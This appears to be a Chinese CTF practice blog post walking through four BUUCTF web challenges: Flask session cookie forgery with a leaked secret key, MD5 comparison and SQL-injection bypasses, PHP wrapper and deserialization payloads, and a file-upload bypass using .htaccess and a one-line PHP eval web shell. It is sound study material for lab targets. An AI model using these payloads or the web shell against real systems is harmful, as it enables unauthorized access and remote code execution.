BUU刷题记3
title: BUU刷題記3
date: 2022-06-26 09:19:05
tags: CTF_WEB
[HCTF 2018]admin
題目環(huán)境:
拿到題目
http://8d2e91a4-70d2-49da-98f1-83d166f947bd.node4.buuoj.cn:81f12查看源代碼
<!-- you are not admin -->發(fā)現(xiàn)提示要成為admin
隨便注冊(cè)個(gè)賬號(hào),登入后,在
view-source:http://admin.2018.hctf.io/change發(fā)現(xiàn)提示
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-YXDpmoqd-1658472267522)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206261255321.png)]
<!-- https://github.com/woadsl1234/hctf_flask/ -->于是下載源碼
功能分析
拿到代碼后,查看了下路由route.py
#!/usr/bin/env python # -*- coding:utf-8 -*-from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response from flask_login import logout_user, LoginManager, current_user, login_user from app import app, db from config import Config from app.models import User from forms import RegisterForm, LoginForm, NewpasswordForm from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep from io import BytesIO from code import get_verify_code@app.route('/code') def get_code():image, code = get_verify_code()# 圖片以二進(jìn)制形式寫(xiě)入buf = BytesIO()image.save(buf, 'jpeg')buf_str = buf.getvalue()# 把buf_str作為response返回前端,并設(shè)置首部字段response = make_response(buf_str)response.headers['Content-Type'] = 'image/gif'# 將驗(yàn)證碼字符串儲(chǔ)存在session中session['image'] = codereturn response@app.route('/') @app.route('/index') def index():return render_template('index.html', title = 'hctf')@app.route('/register', methods = ['GET', 'POST']) def register():if current_user.is_authenticated:return redirect(url_for('index'))form = RegisterForm()if request.method == 'POST':name = strlower(form.username.data)if session.get('image').lower() != form.verify_code.data.lower():flash('Wrong verify code.')return render_template('register.html', title = 'register', form=form)if User.query.filter_by(username = name).first():flash('The username has been registered')return redirect(url_for('register'))user = User(username=name)user.set_password(form.password.data)db.session.add(user)db.session.commit()flash('register successful')return redirect(url_for('login'))return render_template('register.html', title = 'register', form = form)@app.route('/login', methods = ['GET', 'POST']) def login():if current_user.is_authenticated:return redirect(url_for('index'))form = LoginForm()if request.method == 'POST':name = strlower(form.username.data)session['name'] = nameuser = User.query.filter_by(username=name).first()if user is None or not user.check_password(form.password.data):flash('Invalid username or password')return redirect(url_for('login'))login_user(user, remember=form.remember_me.data)return redirect(url_for('index'))return render_template('login.html', title = 'login', form = form)@app.route('/logout') def logout():logout_user()return redirect('/index')@app.route('/change', methods = ['GET', 'POST']) def change():if not current_user.is_authenticated:return redirect(url_for('login'))form = NewpasswordForm()if request.method == 'POST':name = strlower(session['name'])user = User.query.filter_by(username=name).first()user.set_password(form.newpassword.data)db.session.commit()flash('change successful')return redirect(url_for('index'))return render_template('change.html', title = 'change', form = form)@app.route('/edit', methods = ['GET', 'POST']) def edit():if request.method == 'POST':flash('post successful')return redirect(url_for('index'))return render_template('edit.html', title = 'edit')@app.errorhandler(404) def page_not_found(error):title = unicode(error)message = error.descriptionreturn render_template('errors.html', title=title, message=message)def strlower(username):username = nodeprep.prepare(username)return username功能
解法:session偽造
解題步驟:
1.解密session:
在index.html中發(fā)現(xiàn):
只要用戶(hù)已經(jīng)認(rèn)證且session記錄的用戶(hù)名為admin即可
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-C805VzKH-1658472267523)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206261306262.png)]
flask的session是存儲(chǔ)在客戶(hù)端cookie中的,而且flask僅僅對(duì)數(shù)據(jù)進(jìn)行了簽名。眾所周知的是,簽名的作用是防篡改,而無(wú)法防止被讀取。而flask并沒(méi)有提供加密操作,所以其session的全部?jī)?nèi)容都是可以在客戶(hù)端讀取的,這就可能造成一些安全問(wèn)題。
具體參考大神:https://www.leavesongs.com/PENETRATION/client-session-security.html
我們可以用python腳本把flask的session解密出來(lái),但是如果想要加密偽造生成我們自己的session的話,還需要知道flask用來(lái)簽名的SECRET_KEY,在github源碼里找找,可以在config.py里發(fā)現(xiàn)下面代碼
import osclass Config(object):SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'SQLALCHEMY_TRACK_MODIFICATIONS = True估計(jì)ckj123就是SECRET_KEY,所以session偽造這條路可行
Python解密腳本:
#!/usr/bin/env python3 import sys import zlib from base64 import b64decode from flask.sessions import session_json_serializer from itsdangerous import base64_decodedef decryption(payload):payload, sig = payload.rsplit(b'.', 1)payload, timestamp = payload.rsplit(b'.', 1)decompress = Falseif payload.startswith(b'.'):payload = payload[1:]decompress = Truetry:payload = base64_decode(payload)except Exception as e:raise Exception('Could not base64 decode the payload because of ''an exception')if decompress:try:payload = zlib.decompress(payload)except Exception as e:raise Exception('Could not zlib decompress the payload before ''decoding the payload')return session_json_serializer.loads(payload)if __name__ == '__main__':print(decryption(sys.argv[1].encode()))[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-hE0luTYd-1658472267524)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206261231624.png)]
得到解密后的session
{'_fresh': True, '_id': b'51930a4e837b744d72c1e52b4265fb8ec1ba1e278cd195a31c9f8b17ceb88e51e11277f017645b2a66c37937915d1966c57884b2b72b2d69fbf37f1d8abdd1f0', 'csrf_token': b'aadc91735aa0529a4ba453b15cacdc8ad2914adc', 'image': b'6Xlz', 'name': 'asdf', 'user_id': '10'}將name的值改為:admin
2.session加密:
python加密腳本獲取:
git clone https://github.com/noraj/flask-session-cookie-manager得到簽名后的admin session
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-WhqVp0MB-1658472267524)(C:/Users/13912/AppData/Roaming/Typora/typora-user-images/image-20220626124452116.png)]
3.修改瀏覽器cookie中的session值:
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-Dkjqk6lt-1658472267524)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206261242698.png)]
4.得到flag:
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-u1RRIy1a-1658472267525)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206261242661.png)]
然后其實(shí)加密的時(shí)候 -t參數(shù)沒(méi)必要寫(xiě)這么長(zhǎng),我們可以看到index.html里代碼是,只要session['name']==admin即可,所以我們可以用
python flask_session_cookie_manager3.py encode -s 'ckj123' -t "{'name':'admin','user_id':'10'}"也能得到flag。
問(wèn)題:
在給python安裝flask時(shí)出現(xiàn)了一個(gè)問(wèn)題:
pip install flask👲代理就無(wú)法
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-YFK0cKUY-1658472267525)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206261334595.png)]
解決方法:
法一:(找一下代理網(wǎng)址后重新裝)
pip install flask --proxy="ip:8080"法二:關(guān)代理后安裝
法2、3
法二:Unicode欺騙,經(jīng)嘗試失敗了,似乎另一種編碼形式的A不能用啦
法三:條件競(jìng)爭(zhēng)(太菜啦,先把基礎(chǔ)學(xué)了,會(huì)琢磨的😢)
參考一:三種方法
參考二:客戶(hù)端session問(wèn)題解釋
[BJDCTF2020]Easy MD5
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-ZPHcitbx-1658472267525)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206261832452.png)]
步驟:
抓包,返回hint:
結(jié)合:[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-34LICrwJ-1658472267526)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206261835350.png)]
payload1:ffifdyop繞過(guò)
繞過(guò)原理是:
ffifdyop 這個(gè)字符串被 md5 哈希了之后會(huì)變成 276f722736c95d99e921722cf9ed621c,這個(gè)字符串前幾位剛好是' or '6
而 Mysql 剛好又會(huì)把 hex 轉(zhuǎn)成 ascii 解釋,因此拼接之后的形式是1select * from 'admin' where password='' or '6xxxxx',等價(jià)于 or 一個(gè)永真式,因此相當(dāng)于萬(wàn)能密碼
出現(xiàn)第二個(gè)頁(yè)面:
$a = $GET['a']; $b = $_GET['b'];if($a != $b && md5($a) == md5($b)){// wow, glzjin wants a girl friend.[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-xQYZeH4j-1658472267526)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206261832880.png)]
md5弱比較:
根據(jù)代碼中的條件,要讓a和b值不等但md5值相等。由于這里使用的兩個(gè)等號(hào),可以借助弱類(lèi)型來(lái)繞過(guò)一下。
PHP在處理哈希字符串時(shí),會(huì)利用”!=”或”==”來(lái)對(duì)哈希值進(jìn)行比較,它把每一個(gè)以”0E”開(kāi)頭的哈希值都解釋為0,所以如果兩個(gè)不同的密碼經(jīng)過(guò)哈希以后,其哈希值都是以”0E”開(kāi)頭的,那么PHP將會(huì)認(rèn)為他們相同,都是0。
payload2:
?a=s878926199a&b=s155964671a
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-d1ND5a1J-1658472267526)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206261846662.png)]
以0e開(kāi)頭的MD5及原值
s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020得到
<?php error_reporting(0); include "flag.php";highlight_file(__FILE__);if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){echo $flag; }md5強(qiáng)比較,此時(shí)如果傳入的兩個(gè)參數(shù)不是字符串,而是數(shù)組,md5()函數(shù)無(wú)法解出其數(shù)值,而且不會(huì)報(bào)錯(cuò),就會(huì)得到===強(qiáng)比較的值相等
payload3:
param1[]=1¶m2[]=2其實(shí)不止傳數(shù)組一種解法,還可以構(gòu)造相同md5值的兩條數(shù)據(jù)。md5值相同的字符串目前為沒(méi)有找到,但二進(jìn)制數(shù)據(jù)是有的,在傳遞時(shí)注意url編碼即可。這里給出另一個(gè)解:
param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2¶m2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3注意:用hacbar傳值的話會(huì)失敗,直接用bp傳參
考點(diǎn):
[ZJCTF 2019]NiZhuanSiWei
題目環(huán)境:
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){echo "Not now!";exit(); }else{include($file); //useless.php$password = unserialize($password);echo $password;} } else{highlight_file(__FILE__); } ?>payload1:
使用hacbar中的工具構(gòu)造:
?text=data://text/plain;base64,[d2VsY29tZSB0byB0aGUgempjdGY=] &file=php://filter/convert.base64-encode/resource=useless.phpbase64解碼
得到:
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");} } } ?>payload2:
<?php class Flag{ //flag.php public $file = "flag.php";#$file = "flag.php"; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");} } } $a = new Flag(); echo serialize($a); ?> O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}finally payload:
?text=data://text/plain;base64,[d2VsY29tZSB0byB0aGUgempjdGY=]&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}[MRCTF2020]你傳你🐎呢
題目環(huán)境:
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-1bDR65Sz-1658472267528)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206262049834.png)]
解題步驟:
只要上傳文件名為 .php* .phtml* 都會(huì)被攔截
思路:
利用.htaccess文件,將上傳的png圖片解析為php文件即可
傳一個(gè).htaccess文件, 其實(shí)現(xiàn)功能為:當(dāng)前目錄下所有 名稱(chēng)為shell的文件都以 php 進(jìn)行解析
.htaccess
<FilesMatch "shell"> SetHandler application/x-httpd-php </FilesMatch>.htaccess文件還可以寫(xiě)成這樣:(表示所有jpg文件以php進(jìn)行解析)
AddType application/x-httpd-php .jpg[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-s1okvTrA-1658472267529)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206262137492.png)]
知識(shí):
.htaccess是什么?
.htaccess文件(或者”分布式配置文件”)提供了針對(duì)目錄改變配置的方法, 即,在一個(gè)特定的文檔目錄中放置一個(gè)包含一個(gè)或多個(gè)指令的文件, 以作用于此目錄及其所有子目錄。作為用戶(hù),所能使用的命令受到限制。管理員可以通過(guò)Apache的AllowOverride指令來(lái)設(shè)置。
概述來(lái)說(shuō),htaccess文件是Apache服務(wù)器中的一個(gè)配置文件,它負(fù)責(zé)相關(guān)目錄下的網(wǎng)頁(yè)配置。通過(guò)htaccess文件,可以幫我們實(shí)現(xiàn):網(wǎng)頁(yè)301重定向、自定義404錯(cuò)誤頁(yè)面、改變文件擴(kuò)展名、允許/阻止特定的用戶(hù)或者目錄的訪問(wèn)、禁止目錄列表、配置默認(rèn)文檔等功能。
使用.htaccess文件的場(chǎng)合
.htaccess文件應(yīng)該被用在內(nèi)容提供者需要針對(duì)特定目錄改變服務(wù)器的配置而又沒(méi)有root權(quán)限的情況下
傳圖片馬
傳一個(gè)圖片類(lèi)型的一句話木馬
<?php @eval($_POST['shell']); ?>文件后綴改為.png
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-6NqdccnK-1658472267529)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206262053092.png)]
but
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-VqHKuVV5-1658472267529)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206262053622.png)]
我快吐啦,真的不能理解這個(gè)url的拼接規(guī)則,我一直以為是我的一句話木馬有語(yǔ)法錯(cuò)誤,裂開(kāi)。。
不過(guò)總算連接上啦!!
payload:
http://e3ff68d4-0f56-45f5-90d6-fe659e678462.node4.buuoj.cn:81/upload/fce558920a313421cb1c89269f2e320d/shell[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-RgqhgMww-1658472267530)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206271201548.png)]
得到flag:
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-mUf83A6o-1658472267530)(https://cdn.jsdelivr.net/gh/KanNiKanYun/blog-img/blog-img202206271229566.png)]
I put something in F12 for you include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) {$id=$_GET['id'];$gg=$_GET['gg'];if (md5($id) === md5($gg) && $id !== $gg) {echo 'You got the first step';if(isset($_POST['passwd'])) {$passwd=$_POST['passwd'];if (!is_numeric($passwd)){if($passwd==1234567){echo 'Good Job!';highlight_file('flag.php');die('By Retr_0');}else{echo "can you think twice??";}}else{echo 'You can not get it !';}}else{die('only one way to get the flag');} }else {echo "You are not a real hacker!";} } else{die('Please input first'); } }Please input first總結(jié)
- 上一篇: 4-Mybatis配置详解
- 下一篇: Android部分监听器使用方法总结(一